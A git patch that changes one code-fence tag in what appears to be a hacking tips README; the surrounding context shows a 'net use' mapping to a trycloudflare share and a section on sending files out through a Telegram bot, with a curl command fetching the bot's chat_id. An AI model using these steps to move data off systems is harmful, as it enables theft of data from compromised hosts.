From 6304871a7b314d4ebbd9e2c6d476ab54c687b1ca Mon Sep 17 00:00:00 2001 From: skyper <5938498+SkyperTHC@users.noreply.github.com> Date: Thu, 22 Jun 2023 22:46:14 +0100 Subject: [PATCH] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 6db32f1..a4270e2 100644 --- a/README.md +++ b/README.md @@ -903,7 +903,7 @@ net use * \\example-foo-bar-lights.trycloudflare.com@SSL\sources ### 4.vi. File transfer to Telegram There are [zillions of upload services](#cloudexfil) but TG is a neat alternative. Get a _TG-Bot-Token_ from the [TG BotFather](https://www.siteguarding.com/en/how-to-get-telegram-bot-api-token). Then create a new TG group and add your bot to the group. Retrieve the _chat_id_ of that group: -``` +```sh curl -s "https://api.telegram.org/bot/getUpdates" | jq -r '.result[].message.chat.id' | uniq ```